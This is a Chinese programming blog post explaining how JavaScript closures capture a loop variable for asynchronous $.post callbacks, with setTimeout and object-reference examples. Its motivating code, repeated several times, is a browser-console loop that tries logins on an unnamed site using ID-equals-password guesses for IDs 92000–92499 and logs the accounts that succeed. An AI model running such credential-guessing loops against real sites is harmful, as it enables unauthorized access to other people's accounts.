zoukankan      html  css  js  c++  java
  • 利用闭包向post回调函数传参数

    最近在闲逛XX站的时候,打算搞个破坏,试试有多少人还是用初始密码登陆。比较懒,所以直接打开控制台来写。

      所以问题可以描述为:


          向后端不断的post数据,id从1~5000自增,后端会根据情况来返回值res,需要把res=100的id输出。


    最简单的想法是:for循环内部调用post数据

    //错误示范 一
    for(var i = 92000;i<92500;i++){
        //直接借用一下网站内引用的jq
        $.post("login.php", { ts:"login",username: i, password: i},function(data){
            if(data=="100"){
                console.log(i);
            }
        });
    }

    但是,运行结果是这样的:

    post函数时异步的进行请求,拿到请求之后才会执行回调函数。for循环执行速度要快于post函数的执行速度。当执行post之后,for循环不会等待post拿到res并执行回调,而是继续遍历,for循环几百几千次的速度都快于post。所以当第一个post请求去执行其回调时,循环已经结束,i=92500。

      这和一道很经典的笔试题很像:

    1 for(var i = 0;i<10;i++){
    2     setTimeout(function(){
    3         console.log(i);
    4     },1000);
    5 }
    6 //输出结果为10个 10

    解决办法:利用闭包

    //利用闭包和返回函数实现
    for(var i=92000;i<92500;i++){
        $.post("index.php?action=login",{ ts:"login",username: i, password: i,chekcode:9895 },(function(i){
                return function(data){
                    if(data == "100"){
                        console.log(i)
                    }
                }
            })(i);
        );
    }

    相关解释:

        通过把回调写成匿名函数闭包,将i变量保存并且立即调用函数,但是为了获取到返回的data数据,所以在闭包内部return function(data),用来作为真正的回调函数接受返回参数res-data

        当执行完for循环之后,console.log()首先能拿到正常返回数据data的值,因为js里函数访问参数时访问的作用域不是当前作用域,而是函数声明环境下的作用域,所以就可以直接访问到每个res=100对应的循环变量i。

      所以上面那个面试题的一种解法就是:

    for(var i = 0;i<10;i++){
        (function(i){setTimeout(function(){
            console.log(i);
        },1000)})(i);
    }    

    对函数的一些理解:

      1.函数可以作为参数传入,参与运算。

      2.函数可以保存内部数据的状态,常见通过构造函数内部var变量实现类的私有成员

      3.还没想好怎么说,以后再补

    转自:http://www.cnblogs.com/limingxi/p/4048705.html


     写在最后:

         上文中提到的匿名函数的闭包的参数值 i

    //利用闭包和返回函数实现
    for(var i=92000;i<92500;i++){
        $.post("index.php?action=login",{ ts:"login",username: i, password: i,chekcode:9895 },(function(i){
                return function(data){
                    if(data == "100"){
                        console.log(i)
                    }
                }
            })(i);
        );
    }

    如果是数值或字符串,没有问题。如果参数值为对象或数组,不知道会是什么情况?请兄弟们告诉我。

    结果如下:

    var h = {f:""};
    function a(c){
        (function(d) {
            setTimeout(function() {
                console.log(d);
            }, 1000)
        })(c);
    }
    h.f = "fuck1";
    a(h);
    h.f = "fuck2";
    a(h);
    h.f = "fuck3";
    a(h);
    h.f = "fuck4";
    a(h);
    /*
    以上结果,输出四次fuck4
    */
    
    var h = [0];
    function a(c){
        (function(d) {
            setTimeout(function() {
                console.log(d);
            }, 1000)
        })(c);
    }
    h[0] = 1;
    a(h);
    h[0] = 2;
    a(h);
    h[0] = 3;
    a(h);
    h[0] = 4;
    a(h);
    /*
    以上结果,输出四次[4]
    */

    以上结果不难看出,如果参数为对象或数组时,只是修改了其值,并没有改变引用的地址,对于闭包来说,是同一个变量(只是里边的值不一样面已)。使用前多加注意

    当然兄弟们估计还有更好的方法,请告知。

  • 相关阅读:
    Python——pygame入门实例
    Python——基础函数2
    Python——面向对象的三特征
    201521123083《Java程序设计》第四周学习总结
    201521123083《Java程序设计》第二周学习总结
    201521123083 《Java程序设计》第6周学习总结
    《Java程序设计》第1周学习总结
    201521123083《Java程序设计》第5周学习总结
    《Java程序设计》第3周学习总结
    201521123083 《Java程序设计》第7周学习总结
  • 原文地址:https://www.cnblogs.com/sonicit/p/5912132.html
Copyright © 2011-2022 走看看